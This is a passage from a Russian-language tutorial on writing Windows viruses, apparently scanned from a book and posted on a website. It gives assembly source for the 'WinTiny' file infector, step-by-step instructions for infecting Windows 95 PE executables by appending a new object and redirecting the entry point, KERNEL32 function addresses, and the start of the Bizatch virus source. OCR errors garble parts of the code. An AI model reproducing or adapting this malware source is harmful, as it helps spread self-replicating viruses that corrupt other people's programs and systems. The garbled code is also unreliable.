Смекни!
smekni.com

Вирусы под Windows (стр. 2 из 4)

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой-то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

push ds

pop es

push cs

pop ds

xor si,si

mov di,OFFSET temp

mov ex,OFFSET vir_end

eld

rep movsb

push es

pop ds

Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh

Переместим указатель чтения/записи на новую точку входа

mov ax,[my_seg_entry]

mov cx,[log_sec_len]

mul ex

mov cx.dx

mov dx.ax

mov ax,4200h

int 21h

;3апишем тело вируса в файл

mov dx, OFFSET temp

mov ex,OFFSET vir_end

mov ah,40h

int 21h

.Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET reloclP

;3апишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov ex, 10
mov ah,40h
int 21h

[Закроем файл
mov ah,3Eh
int 21h

.Освободим выделенный блок памяти
call free

;3апустим программу-носитель
jmp exit

.Процедура, освобождающая выделенный блок памяти
free PROC NEAR

mov ax,0502h

mov si,[mem_hnd]

mov di,[mem_hnd+2]

з*

int 31 h
ret
free ENDP

; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О

;Имя вируса

DB "WinTiny"

;Идентификатор, указывающий на конец инициализированных данных
vir_end:

.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?

;Адрес текущей DTA
DTA DW ?
DW ?

;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)

.Место для хранения нового заголовка
new_hdr DB 40h dup (?)

;Длина логического номера сектора
log_sec_len DW ?

; Новый элемент в таблице сегментов
my_seg_entry DW ?

DW ?

DW ?

DW ?

.Перемещаемый элемент
reloc_dataDW ?

DB ?

DB ?

DW?

;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?

;0бласть памяти для использования
temp DB ?
END

Вирусы под Windows 95

Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.

вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.

Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call APLFUNCTIONJMAME
например:

call CreateFileA
После компиляции этот вызов выглядит так:

db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:

push function value
call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Функция Адрес в June Test Release Адрес в August Test
Release
GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:

push offset IpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.

Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.

3. Считать весь РЕ-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1 )*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,O.COh

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat.STDCALL

include win32.inc некоторые 32-битные константы и структуры

L equ <LARGE>

;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

Loadlcon equ <LoadlconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

•data

newhwnd dd 0

Ippaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

we WNDCLASS <?>

mbx_count dd 0

hinst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once",0

szClassName db "ASMCLASS32",0

[Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "OOOOOOOOh times.",0

.Размер сообщения

MSG_L EQU ($-offset szPaint)--!

.code

;Сюда обычно передается управление от загрузчика.
start:

.Получим HMODULE
push L О

call GetModuleHandle
mov [hlnst],eax
push L 0

push offset szClassName
call FindWindow
or eax.eax
jz reg_class

.Пространство для модификации строки заголовка

mov [zero]," "
reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS